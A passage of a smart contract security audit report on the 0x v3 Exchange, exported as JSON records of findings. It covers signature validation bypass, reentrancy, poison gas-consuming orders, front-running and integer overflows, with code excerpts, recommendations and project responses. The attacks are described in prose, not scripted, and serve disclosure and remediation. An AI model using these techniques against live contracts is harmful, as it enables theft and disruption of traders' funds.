"body": " Resolution This is fixed in 0xProject/0x-monorepo#2246. Signatures are now always validated each time, regardless of type. Description This re-validation step for Wallet, Validator, and EIP1271Wallet signatures is intended to facilitate their use with contracts whose validation depends on some state that may change over time. For example, a validating contract may call into a price feed and determine that some order is invalid if its price deviates from some expected range. In this case, the repeated validation allows 0x users to make orders with custom fill conditions which are evaluated at run-time. We found that if the sender provides the contract with an invalid signature after the order in question has already been partially filled, the regular validation check required for Wallet, Validator, and EIP1271Wallet signatures can be bypassed entirely. Examples Signature validation takes place in MixinExchangeCore._assertFillableOrder. A signature is only validated if it passes the following criteria: code/contracts/exchange/contracts/src/MixinExchangeCore.sol:L372-L381 // Validate either on the first fill or if the signature type requires // regular validation. address makerAddress = order.makerAddress; if (orderInfo.orderTakerAssetFilledAmount == 0 || _doesSignatureRequireRegularValidation( orderInfo.orderHash, makerAddress, signature ) { In effect, signature validation only occurs if: orderInfo.orderTakerAssetFilledAmount == 0 OR _doesSignatureRequireRegularValidation(orderHash, makerAddress, signature) If an order is partially filled, the first condition will evaluate to false. Then, that order s signature will only be validated if _doesSignatureRequireRegularValidation evaluates to true: code/contracts/exchange/contracts/src/MixinSignatureValidator.sol:L183-L206 function _doesSignatureRequireRegularValidation( bytes32 hash, address signerAddress, bytes memory signature internal pure returns (bool needsRegularValidation) // Read the signatureType from the signature SignatureType signatureType = _readSignatureType( hash, signerAddress, signature ); // Any signature type that makes an external call needs to be revalidated // with every partial fill needsRegularValidation = signatureType == SignatureType.Wallet || signatureType == SignatureType.Validator || signatureType == SignatureType.EIP1271Wallet; return needsRegularValidation; The result is that an order whose signature requires regular validation can be forced to skip validation if it has been partially filled, by passing in an invalid signature. Recommendation There are a few options for remediation: Have the Exchange validate the provided signature every time an order is filled. Record the first seen signature type or signature hash for each order, and check that subsequent actions are submitted with a matching signature. The first option requires the fewest changes, and does not require storing additional state. While this does mean some additional cost validating subsequent signatures, we feel the increase in flexibility is well worth it, as a maker could choose to create multiple valid signatures for use across different order books. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.3 Changing the owners or required confirmations in the AssetProxyOwner can unconfirm a previously confirmed transaction ", "body": " Resolution This issue is somewhat inaccurate: isConfirmed() breaks out of the loop once it s found the correct number of confirmations. That means that lowering the number of required confirmations is not a problem. Further, 0xProject/0x-monorepo#2297 allows signers to confirm transactions that have already been confirmed. Increasing signing requirements or changing signers can still unconfirm previously confirmed transactions, but the development team is happy with that behavior. Description Once a transaction has been confirmed in the AssetProxyOwner, it cannot be executed until a lock period has passed. During that time, any change to the number of required confirmations will cause this transaction to no longer be executable. If the number of required confirmations was decreased, then one or more owners will have to revoke their confirmation before the transaction can be executed. If the number of required confirmations was increased, then additional owners will have to confirm the transaction, and when the new required number of confirmations is reached, a new confirmation time will be recorded, and thus the time lock will restart. Similarly, if an owner that had previously confirmed the transaction is replaced, the number of confirmations will drop for existing transactions, and they will need to be confirmed again. This is not disastrous, but it s almost certainly unintended behavior and may make it difficult to make changes to the multisig owners and parameters. Examples executeTransaction() requires that at the time of execution, the transaction is confirmed: code/contracts/multisig/contracts/src/AssetProxyOwner.sol:L115-L118 function executeTransaction(uint256 transactionId) public notExecuted(transactionId) fullyConfirmed(transactionId) isConfirmed() checks for exact equality with the number of required confirmations. Having too many confirmations is just as bad as too few: code/contracts/multisig/contracts/src/MultiSigWallet.sol:L318-L335 /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public view returns (bool) uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) { count += 1; if (count == required) { return true; If additional confirmations are required to reconfirm a transaction, that resets the time lock: code/contracts/multisig/contracts/src/MultiSigWalletWithTimeLock.sol:L86-L100 /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) notFullyConfirmed(transactionId) confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); if (isConfirmed(transactionId)) { _setConfirmationTime(transactionId, block.timestamp); Recommendation As in issue 6.1, the semantics of the original MultiSigWallet were that once a transaction is fully confirmed, it s immediately executed. The time lock means this is no longer possible, but it is possible to record that the transaction is confirmed and never allow this to change. In fact, the confirmation time already records this. Once the confirmation time is non-zero, a transaction should always be considered confirmed. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.4 Reentrancy in executeTransaction() ", "body": " Resolution From the development team: Reentrancy would be dangerous in executeTransaction if combined with updating the currentContextAddress. However, this is is prevented by checking currentContextAddress_ != address(0) when validating a transaction. executeTransaction also inherits a lot of the safety from the reentrancy protection on other individual functions in the Exchange contract. Setting transactionsExecuted before making the delegatecall also prevents the same transaction from being executed multiple times. Description In MixinTransactions, executeTransaction() and batchExecuteTransactions() do not have the nonReentrant modifier. Because of that, it is possible to execute nested transactions or call these functions during other reentrancy attacks on the exchange. The reason behind that decision is to be able to call functions with nonReentrant modifier as delegated transactions. Nested transactions are partially prevented with a separate check that does not allow transaction execution if the exchange is currently in somebody else s context: code/contracts/exchange/contracts/src/MixinTransactions.sol:L155-L162 // Prevent `executeTransaction` from being called when context is already set address currentContextAddress_ = currentContextAddress; if (currentContextAddress_ != address(0)) { LibRichErrors.rrevert(LibExchangeRichErrors.TransactionInvalidContextError( transactionHash, currentContextAddress_ )); This check still leaves some possibility of reentrancy. Allowing that behavior is dangerous and may create possible attack vectors in the future. Recommendation Add a new modifier to executeTransaction() and batchExecuteTransactions() which is similar to nonReentrant but uses different storage slot. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.5 Poison order that consumes gas can block market trades ", "body": " Resolution From the development team: This can be prevented fairly easily by performing an eth_call off-chain before attempting to fill any orders (which is pretty standard practice). Hard coding gas limits reduces flexibility and may ultimately prevent some use cases from developing in the future. (Note from the audit team: Hardcoding is not necessary. A parameter would do.) Description The market buy/sell functions gather a list of orders together for the same asset and try to fill them in order until a target amount has been traded. These functions use MixinWrapperFunctions._fillOrderNoThrow() to attempt to fill each order but ignore failures. This way, if one order is unfillable for some reason, the overall market order can still succeed by filling other orders. Orders can still force _fillOrderNoThrow() to revert by using an external contract for signature validation and having that contract consume all available gas. This makes it possible to advertise a poison order for a low price that will block all market orders from succeeding. It s reasonable to assume that off-chain order books will automatically include the best prices when constructing market orders, so this attack would likely be quite effective. Note that such an attack costs the attacker nothing because all they need is an on-chain contract that consumers all available gas (maybe via an assert). This makes it a very appealing attack vector for, e.g., an order book that wants to temporarily disable a competitor. Details _fillOrderNoThrow() forwards all available gas when filling the order: code/contracts/exchange/contracts/src/MixinWrapperFunctions.sol:L340-L348 // ABI encode calldata for `fillOrder` bytes memory fillOrderCalldata = abi.encodeWithSelector( IExchangeCore(address(0)).fillOrder.selector, order, takerAssetFillAmount, signature ); (bool didSucceed, bytes memory returnData) = address(this).delegatecall(fillOrderCalldata); Similarly, when the Exchange attempts to fill an order that requires external signature validation (Wallet, Validator, or EIP1271Wallet signature types), it forwards all available gas: code/contracts/exchange/contracts/src/MixinSignatureValidator.sol:L642 (bool didSucceed, bytes memory returnData) = verifyingContractAddress.staticcall(callData); If the verifying contract consumes all available gas, it can force the overall transaction to revert. Pedantic Note Technically, it s impossible to consume all remaining gas when called by another contract because the EVM holds back a small amount, but even at the block gas limit, the amount held back would be insufficient to complete the transaction. Recommendation Constrain the gas that is forwarded during signature validation. This can be constrained either as a part of the signature or as a parameter provided by the taker. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.6 Front running in matchOrders() ", "body": " Resolution From the development team: Front-running is typically prevented with a combination of external contracts and various off-chain mechanics. These functions are primarily intended to be used with matching relayers . In this model, orders must set their takerAddress or senderAddress to the address of the matcher, who is the only party allowed to actually fill the orders. This prevents any other address from participating in a gas auction. A commit-reveal scheme would be difficult to take advantage of in practice, since orders could be filled through a number of other functions on the Exchange contract. All of these functions would have to adhere to the commit-reveal scheme in order to be effective. Description Calls to matchOrders() are made to extract profit from the price difference between two opposite orders: left and right. code/contracts/exchange/contracts/src/MixinMatchOrders.sol:L106-L111 function matchOrders( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, bytes memory leftSignature, bytes memory rightSignature The caller only pays protocol and transaction fees, so it s almost always profitable to front run every call to matchOrders(). That would lead to gas auctions and would make matchOrders() difficult to use. Recommendation Consider adding a commit-reveal scheme to matchOrders() to stop front running altogether. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.7 The Exchange owner should not be able to call executeTransaction or batchExecuteTransaction ", "body": " Resolution From the development team: While this is a minor inconsistency in the logic of these functions, it is in no way dangerous. currentContextAddress is not used when calling any admin functions, so the address of the transaction signer will be completely disregarded. Description Examples _executeTransaction sets the context address to the signer address, which is not msg.sender in this case: code/contracts/exchange/contracts/src/MixinTransactions.sol:L102-L104 // Set the current transaction signer address signerAddress = transaction.signerAddress; _setCurrentContextAddressIfRequired(signerAddress, signerAddress); The resulting delegatecall could target an admin function like this one: code/contracts/exchange/contracts/src/MixinAssetProxyDispatcher.sol:L38-L61 /// @dev Registers an asset proxy to its asset proxy id. /// Once an asset proxy is registered, it cannot be unregistered. /// @param assetProxy Address of new asset proxy to register. function registerAssetProxy(address assetProxy) external onlyOwner { // Ensure that no asset proxy exists with current id. bytes4 assetProxyId = IAssetProxy(assetProxy).getProxyId(); address currentAssetProxy = _assetProxies[assetProxyId]; if (currentAssetProxy != address(0)) { LibRichErrors.rrevert(LibExchangeRichErrors.AssetProxyExistsError( assetProxyId, currentAssetProxy )); } // Add asset proxy and log registration. _assetProxies[assetProxyId] = assetProxy; emit AssetProxyRegistered( assetProxyId, assetProxy ); } The onlyOwner modifier does not check the context address, but checks msg.sender: code/contracts/utils/contracts/src/Ownable.sol:L35-L45 function _assertSenderIsOwner() internal view { if (msg.sender != owner) { LibRichErrors.rrevert(LibOwnableRichErrors.OnlyOwnerError( msg.sender, owner )); } } Recommendation Add a check to _executeTransaction that prevents the owner from calling this function. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.8 Anyone can front run MixinExchangeCore.cancelOrder() ", "body": " Resolution From the development team: Front-running is typically prevented with a combination of external contracts and various off-chain mechanics. It is not possible to cancel an order by providing less data to the cancelOrder function without drastically changing the logic of the fill functions. However, this type of behavior could possibly be enforced by using external contracts that are set to the senderAddress of the related orders. Description In order to cancel an order, an authorized address (maker or sender) calls cancelOrder(LibOrder.Order memory order). When calling that function, all data for the order becomes visible to everyone on the network, and anyone can fill that order before it s canceled. Usually, a maker is canceling an order because it s no longer profitable for them, so an attacker is likely to profit from front running the cancelOrder() transaction. Recommendation Make it impossible to front run order cancelation by providing less data to the cancelOrder() function such that this data is insufficient to execute the order. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.9 By manipulating the gas limit, relayers can affect the outcome of ZeroExTransactions ", "body": " Resolution From the development team: While this is an annoyance when used in combination with marketBuyOrdersNoThrow and marketSellOrdersNoThrow, it does not seem worth it to add a gasLimit to 0x transactions for this reason alone. Instead, this quirk should be documented along with a recommendation to use the fillOrKill variants of each market fill function when used in combination with 0x transactions. Description ZeroExTransactions are meta transactions supported by the Exchange. They do not require that they are executed with a specific amount of gas, so the transaction relayer can choose how much gas to provide. By choosing a low gas limit, a relayer can affect the outcome of the transaction. A ZeroExTransaction specifies a signer, an expiration, and call data for the transaction: code/contracts/exchange-libs/contracts/src/LibZeroExTransaction.sol:L41-L47 struct ZeroExTransaction { uint256 salt; // Arbitrary number to ensure uniqueness of transaction hash. uint256 expirationTimeSeconds; // Timestamp in seconds at which transaction expires. uint256 gasPrice; // gasPrice that transaction is required to be executed with. address signerAddress; // Address of transaction signer. bytes data; // AbiV2 encoded calldata. In MixinTransactions._executeTransaction(), all available gas is forwarded in the delegate call, and the transaction is marked as executed: code/contracts/exchange/contracts/src/MixinTransactions.sol:L107-L108 transactionsExecuted[transactionHash] = true; (bool didSucceed, bytes memory returnData) = address(this).delegatecall(transaction.data); Examples A likely attack vector for this is front running a ZeroExTransaction that ultimately invokes _fillNoThrow(). In this scenario, an attacker sees the call to executeTransaction() and makes their own call with a lower gas limit, causing the order being filled to run out of gas but allowing the transaction as a whole to succeed. If such an attack is successful, the ZeroExTransaction cannot be replayed, so the signer must produce a new signature and try again, ad infinitum. Recommendation Add a gasLimit field to ZeroExTransaction and forward exactly that much gas via delegatecall. (Note that you must explicitly check that sufficient gas is available because the EVM allows you to supply a gas parameter that exceeds the actual remaining gas.) ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.10 Front running market orders ", "body": " Resolution From the development team: Front-running is typically prevented with a combination of external contracts and various off-chain mechanics. Users should always understand the risk of using market orders in any market or exchange structure. Although they increase convenience and arguably have a better UX, they almost always carry more risk than other order types. Users can always enforce a worst price by padding a market fill with an appropriate number of orders that do not exceed the worst acceptable price. Description MixinWrapperFunctions defines a number of functions for market buy/sell orders. These functions take a list of orders and a target asset amount to buy or sell. They fill each order in turn until the target has been reached. These functions provide an appealing opportunity for front running because of the near-guaranteed profit to be had. This is most easily explained with an example: Alice wishes to buy 10 FOO tokens. She creates a market buy order to purchase tokens first from Bob, who is selling 4 FOO tokens at $9 each, and then from Eve, who is selling 20 tokens at $10 each. Eve front runs this market order with a transaction that buys all 4 FOO tokens from Bob for $9 each. Alice s transaction goes through, but because Bob s inventory has been depleted, all 10 FOO tokens are purchased from Eve at a price of $10 each. By front running, Eve gained $4. In a more traditional front running scheme, Alice would have just been trying to make a simple purchase of FOO tokens at $9 each, and Eve would be taking on non-trivial risk by buying them first and hoping Alice (or another buyer) would be willing to pay a higher price later. With a market order, however, Eve s front running is nearly risk free because she knows the market order already commits Alice to buying at the higher price. Recommendation For the most part, traders will simply have to understand the risks of market orders and take care to only authorize trades they will be happy with. That said, each order in a market order could specify a maximum quantity, e.g. I want 10 FOO tokens, and I m willing to buy up to 10 from Bob but only up to 5 from Eve. This would limit the trader s exposure to increased prices due to front running, but it would retain the convenience and efficiency of market orders. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.11 Modifier ordering plays a significant role in modifier efficacy ", "body": " Resolution This is fixed in 0xProject/0x-monorepo#2228 by introducing a new modifier that combines the two: Description The nonReentrant and refundFinalBalance modifiers always appear together across the 0x monorepo. When used, they invariably appear with nonReentrant listed first, followed by refundFinalBalance. This specific order appears inconsequential at first glance but is actually important. The order of execution is as follows: The nonReentrant modifier runs (_lockMutexOrThrowIfAlreadyLocked). If refundFinalBalance had a prefix, it would run now. The function itself runs. The refundFinalBalance modifier runs (_refundNonZeroBalanceIfEnabled). The nonReentrant modifier runs (_unlockMutex). The fact that the refundFinalBalance modifier runs before the mutex is unlocked is of particular importance because it potentially invokes an external call, which may reenter. If the order of the two modifiers were flipped, the mutex would unlock before the external call, defeating the purpose of the reentrancy guard. Examples code/contracts/exchange/contracts/src/MixinExchangeCore.sol:L64-L65 nonReentrant refundFinalBalance Recommendation Although the order of the modifiers is correct as-is, this pattern introduces cognitive overhead when making or reviewing changes to the 0x codebase. Because the two modifiers always appear together, it may make sense to combine the two into a single modifier where the order of operations is explicit. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.12 Several overflows in LibBytes Addressed", "body": " Resolution This is addressed in 0xProject/0x-monorepo#2265. Unused functions have been removed. The remaining functions are only used with safe parameters (ones guaranteed not to overflow). Description Several functions in LibBytes have integer overflows. Examples LibBytes.readBytesWithLength returns a pointer to a bytes array within an existing bytes array at some given index. The length of the nested array is added to the given index and checked against the parent array to ensure the data in the nested array is within the bounds of the parent. However, because the addition can overflow, the bounds check can be bypassed to return an array that points to data out of bounds of the parent array. code/contracts/utils/contracts/src/LibBytes.sol:L546-L553 if (b.length < index + nestedBytesLength) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors .InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsNestedBytesLengthRequired, b.length, index + nestedBytesLength )); The following functions have similar issues: readAddress writeAddress readBytes32 writeBytes32 readBytes4 Recommendation An overflow check should be added to the function. Alternatively, because readBytesWithLength does not appear to be used anywhere in the 0x project, the function should be removed from LibBytes. Additionally, the following functions in LibBytes are also not used and should be considered for removal: popLast20Bytes writeAddress writeBytes32 writeUint256 writeBytesWithLength deepCopyBytes ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "6.13 NSignatureTypes enum value bypasses Solidity safety checks ", "body": " Resolution From the development team: This has been left unchanged in order to provide more context with a revert when an invalid signature type is used. Description The ISignatureValidator contract defines an enum SignatureType to represent the different types of signatures recognized within the exchange. The final enum value, NSignatureTypes, is not a valid signature type. Instead, it is used by MixinSignatureValidator to check that the value read from the signature is a valid enum value. However, Solidity now includes its own check for enum casting, and casting a value over the maximum enum size to an enum is no longer possible. Because of the added NSignatureTypes value, Solidity s check now recognizes 0x08 as a valid SignatureType value. Examples The check is made here: code/contracts/exchange/contracts/src/MixinSignatureValidator.sol:L441-L449 // Ensure signature is supported if (uint8(signatureType) >= uint8(SignatureType.NSignatureTypes)) { LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError( LibExchangeRichErrors.SignatureErrorCodes.UNSUPPORTED, hash, signerAddress, signature )); Recommendation The check should be removed, as should the SignatureTypes.NSignatureTypes value. 7 Tool-Based Analysis Several tools were used to perform automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issues section. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "7.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. The full set of MythX results for both the exchange and staking contracts are available in a separate report. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/09/0x-v3-exchange/"}, {"title": "7.2 Surya", "body": " Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers: S\u016brya s Description Report Files Description Table exchange/contracts/src/Exchange.sol cb6733c32d3306348791b83a9ae76460b75555df exchange/contracts/src/MixinAssetProxyDispatcher.sol ee5492092ebea3397d53163cad5cfe8b8050f88e exchange/contracts/src/MixinExchangeCore.sol 87f9d192c0d75569ee95705baa9c1cdfd129d7a5 exchange/contracts/src/MixinMatchOrders.sol 42868be4aea9327a636766682a8655686af3fc72 exchange/contracts/src/MixinProtocolFees.sol 4982d287aaa206897698039fb34f95f53deda0b5 exchange/contracts/src/MixinSignatureValidator.sol a69bf0916642b2abaf7e2705d704c00bf2e79150 exchange/contracts/src/MixinTransactions.sol c3108f751ef627e171ad35c445c8e38cbe0c4d2c exchange/contracts/src/MixinTransferSimulator.sol b3ceb9d2e4a8cc1c55648548b950ad1114d29961 exchange/contracts/src/MixinWrapperFunctions.sol 69ea7edd94fc6fd1ede6c6bad139e3e61472c3df exchange/contracts/src/interfaces/IAssetProxy.sol 21860ce6d0fe6286966dab04b39784f6e2d23857 exchange/contracts/src/interfaces/IAssetProxyDispatcher.sol f3022084eee2e1a87d4bc023d2aa58d44a3bc3c3 exchange/contracts/src/interfaces/IEIP1271Data.sol 3e98264aa000a238a3f954b17acb6c6606fb3104 exchange/contracts/src/interfaces/IEIP1271Wallet.sol d99b3b52044cba515a1eebbee67cf5db4f0ae280 exchange/contracts/src/interfaces/IExchange.sol 82d342133ab823431dc07255853f99da8cd49b10 exchange/contracts/src/interfaces/IExchangeCore.sol 48b0562a46653734202a40cc2ce7fcf0e653327a exchange/contracts/src/interfaces/IMatchOrders.sol db34eec2bf4bc41c3b51ec35803e1c5aaae4a6fb exchange/contracts/src/interfaces/IProtocolFees.sol bcc0151ed53fa72a87102f18015b3bcbf604b4cc exchange/contracts/src/interfaces/ISignatureValidator.sol e2304c3b8612ec7b7899d163b82a1bb1145c191a exchange/contracts/src/interfaces/ITransactions.sol a2f67b8a9e047c0dc7c33efda4223e087a6e90b4 exchange/contracts/src/interfaces/ITransferSimulator.sol 02ea8f864e3277e1f7c30e0ea38aac177625177d exchange/contracts/src/interfaces/IWallet.sol 81fbaee73e754cfbc57882e1cd81be5fbf70b9de exchange/contracts/src/interfaces/IWrapperFunctions.sol d1b20adfa9b2639aff21e8a0d8f864a5b9435fa4 exchange/contracts/src/libs/LibExchangeRichErrorDecoder.sol 02c13f0e1c57b12da14b0384bebb38d1039bc7c1 exchange-libs/contracts/src/IWallet.sol d3c769706e00d8a68175a261d79c04a8750b6118 exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol 823955e1f1b21a34ad3fda91c7e691dd68e9a62e exchange-libs/contracts/src/LibExchangeRichErrors.sol e58712de5e18edfe951ea694124859ca1a1c05f5 exchange-libs/contracts/src/LibFillResults.sol 49422e7a81067b52f6acc8fe5de1acf21134ee7a exchange-libs/contracts/src/LibMath.sol ca6e24ec1de03bdea83351ce5f96082f8f5a9976 exchange-libs/contracts/src/LibMathRichErrors.sol 7f3b0be62d7a8d6f3026018aad08dcc9cbb41825 exchange-libs/contracts/src/LibOrder.sol 114be366ad7a0a711a0c2e552500a2c9fb1bbddf exchange-libs/contracts/src/LibZeroExTransaction.sol 95ea4427d1df12aef259e07ac6215f2e2d9bd6d9 multisig/contracts/src/AssetProxyOwner.sol df9ed7cba84c1362fee9de80d7774592323a86df multisig/contracts/src/MultiSigWallet.sol 33b84d070486847dcc86a140fd682a1d8c953164 multisig/contracts/src/MultiSigWalletWithTimeLock.sol c54d8b6631eacb20fe6bfad6ee268ab81c112614 utils/contracts/src/Authorizable.sol 2ae731a21730cfdd30feb5d20da4d4d2fa194e1d utils/contracts/src/LibAddress.sol 33eef1855488fbbbfd1eed92101f379343a8f0f7 utils/contracts/src/LibAddressArray.sol b13d0359922c04fadb4b24abd3d5318462c62d8e utils/contracts/src/LibAddressArrayRichErrors.sol 883bc123ba699ba1efc11a75f806e1150e8af1ba utils/contracts/src/LibAuthorizableRichErrors.sol abfba41b1c63ba91803721d4d0ec6a7a1678752b utils/contracts/src/LibBytes.sol 7a0c37b1577f5a12378fbf529177ca62314a4e62 utils/contracts/src/LibBytesRichErrors.sol 611b4e660351ee4e24140074ee1df49756e496ec utils/contracts/src/LibEIP1271.sol 2fe0c70163677ea228d9bcfecdbba2627a5be77f utils/contracts/src/LibEIP712.sol 3b486180d6ee3e6d5e1f2fa57c1ca060a1bdca9b utils/contracts/src/LibFractions.sol 552a637f32edb135942cd1ea25e88d6972b8cf79 utils/contracts/src/LibOwnableRichErrors.sol dfda0c5639f5fc994712421dc92b284071fc9e56 utils/contracts/src/LibReentrancyGuardRichErrors.sol 8af2504839d0b9a4a7a4694886704bee31fb43ad utils/contracts/src/LibRichErrors.sol 3be89d9503f6fb6aee08aa515119af83d63f7d29 utils/contracts/src/LibSafeMath.sol f095f7330b0d2b0d85370b47bd5ac98360ed5b48 utils/contracts/src/LibSafeMathRichErrors.sol 7785c4a4076e3f0be3319ec4bc17aca0090c2ce0 utils/contracts/src/Ownable.sol 8ede7b82d2ee0ed63b2162709d8afa7250efc3cf utils/contracts/src/ReentrancyGuard.sol 5364694b8a2bba36861bfdd8d5886ece26e301a4 utils/contracts/src/Refundable.sol 0fe9acae963bb683b6c3539de8377ed05240bae0 utils/contracts/src/SafeMath.sol 5b675f9c12bf862a72c7dc71d00839214d970d34 utils/contracts/src/interfaces/IAuthorizable.sol 3a438f74bdb79cf6bff4dbe52a31651928601022 utils/contracts/src/interfaces/IOwnable.sol 5fe3a74b7d5948bba5644db684459d87e84fb5c6 Contracts Description Table Function Name Visibility Mutability Modifiers Exchange Implementation LibEIP712ExchangeDomain, MixinMatchOrders, MixinWrapperFunctions, MixinTransferSimulator Public LibEIP712ExchangeDomain MixinAssetProxyDispatcher Implementation Ownable, IAssetProxyDispatcher registerAssetProxy External onlyOwner getAssetProxy External NO _dispatchTransferFrom Internal \ud83d\udd12 MixinExchangeCore Implementation IExchangeCore, Refundable, LibEIP712ExchangeDomain, MixinAssetProxyDispatcher, MixinProtocolFees, MixinSignatureValidator cancelOrdersUpTo External refundFinalBalanceNoReentry fillOrder Public refundFinalBalanceNoReentry cancelOrder Public refundFinalBalanceNoReentry getOrderInfo Public NO _fillOrder Internal \ud83d\udd12 _cancelOrder Internal \ud83d\udd12 _updateFilledState Internal \ud83d\udd12 _updateCancelledState Internal \ud83d\udd12 _assertFillableOrder Internal \ud83d\udd12 _assertValidCancel Internal \ud83d\udd12 _settleOrder Internal \ud83d\udd12 _getOrderHashAndFilledAmount Internal \ud83d\udd12 MixinMatchOrders Implementation MixinExchangeCore, IMatchOrders batchMatchOrders Public refundFinalBalanceNoReentry batchMatchOrdersWithMaximalFill Public refundFinalBalanceNoReentry matchOrders Public refundFinalBalanceNoReentry matchOrdersWithMaximalFill Public refundFinalBalanceNoReentry _assertValidMatch Internal \ud83d\udd12 _batchMatchOrders Internal \ud83d\udd12 _matchOrders Internal \ud83d\udd12 _settleMatchedOrders Internal \ud83d\udd12 MixinProtocolFees Implementation IProtocolFees, Ownable setProtocolFeeMultiplier External onlyOwner setProtocolFeeCollectorAddress External onlyOwner _paySingleProtocolFee Internal \ud83d\udd12 _payTwoProtocolFees Internal \ud83d\udd12 _payProtocolFeeToFeeCollector Internal \ud83d\udd12 MixinSignatureValidator Implementation LibEIP712ExchangeDomain, LibEIP1271, ISignatureValidator, MixinTransactions preSign External refundFinalBalanceNoReentry setSignatureValidatorApproval External refundFinalBalanceNoReentry isValidHashSignature Public NO isValidOrderSignature Public NO isValidTransactionSignature Public NO _isValidOrderWithHashSignature Internal \ud83d\udd12 _isValidTransactionWithHashSignature Internal \ud83d\udd12 _validateHashSignatureTypes Private \ud83d\udd10 _readSignatureType Private \ud83d\udd10 _readValidSignatureType Private \ud83d\udd10 _encodeEIP1271OrderWithHash Private \ud83d\udd10 _encodeEIP1271TransactionWithHash Private \ud83d\udd10 _validateHashWithWallet Private \ud83d\udd10 _validateBytesWithWallet Private \ud83d\udd10 _validateBytesWithValidator Private \ud83d\udd10 _staticCallEIP1271WalletWithReducedSignatureLength Private \ud83d\udd10 MixinTransactions Implementation Refundable, LibEIP712ExchangeDomain, ISignatureValidator, ITransactions executeTransaction Public disableRefundUntilEnd batchExecuteTransactions Public disableRefundUntilEnd _executeTransaction Internal \ud83d\udd12 _assertExecutableTransaction Internal \ud83d\udd12 _setCurrentContextAddressIfRequired Internal \ud83d\udd12 _getCurrentContextAddress Internal \ud83d\udd12 MixinTransferSimulator Implementation MixinAssetProxyDispatcher simulateDispatchTransferFromCalls Public NO MixinWrapperFunctions Implementation IWrapperFunctions, MixinExchangeCore fillOrKillOrder Public refundFinalBalanceNoReentry batchFillOrders Public refundFinalBalanceNoReentry batchFillOrKillOrders Public refundFinalBalanceNoReentry batchFillOrdersNoThrow Public disableRefundUntilEnd marketSellOrdersNoThrow Public disableRefundUntilEnd marketBuyOrdersNoThrow Public disableRefundUntilEnd marketSellOrdersFillOrKill Public NO marketBuyOrdersFillOrKill Public NO batchCancelOrders Public refundFinalBalanceNoReentry _fillOrKillOrder Internal \ud83d\udd12 _fillOrderNoThrow Internal \ud83d\udd12 IAssetProxy Implementation transferFrom External NO getProxyId External NO IAssetProxyDispatcher Implementation registerAssetProxy External NO getAssetProxy External NO IEIP1271Data Implementation OrderWithHash External NO ZeroExTransactionWithHash External NO IEIP1271Wallet Implementation LibEIP1271 isValidSignature External NO IExchange Implementation IProtocolFees, IExchangeCore, IMatchOrders, ISignatureValidator, ITransactions, IAssetProxyDispatcher, ITransferSimulator, IWrapperFunctions IExchangeCore Implementation cancelOrdersUpTo External NO fillOrder Public NO cancelOrder Public NO getOrderInfo Public NO IMatchOrders Implementation batchMatchOrders Public NO batchMatchOrdersWithMaximalFill Public NO matchOrders Public NO matchOrdersWithMaximalFill Public NO IProtocolFees Implementation setProtocolFeeMultiplier External NO setProtocolFeeCollectorAddress External NO protocolFeeMultiplier External NO protocolFeeCollector External NO ISignatureValidator Implementation preSign External NO setSignatureValidatorApproval External NO isValidHashSignature Public NO isValidOrderSignature Public NO isValidTransactionSignature Public NO _isValidOrderWithHashSignature Internal \ud83d\udd12 _isValidTransactionWithHashSignature Internal \ud83d\udd12 ITransactions Implementation executeTransaction Public NO batchExecuteTransactions Public NO _getCurrentContextAddress Internal \ud83d\udd12 ITransferSimulator Implementation simulateDispatchTransferFromCalls Public NO IWallet Implementation isValidSignature External NO IWrapperFunctions Implementation fillOrKillOrder Public NO batchFillOrders Public NO batchFillOrKillOrders Public NO batchFillOrdersNoThrow Public NO marketSellOrdersNoThrow Public NO marketBuyOrdersNoThrow Public NO marketSellOrdersFillOrKill Public NO marketBuyOrdersFillOrKill 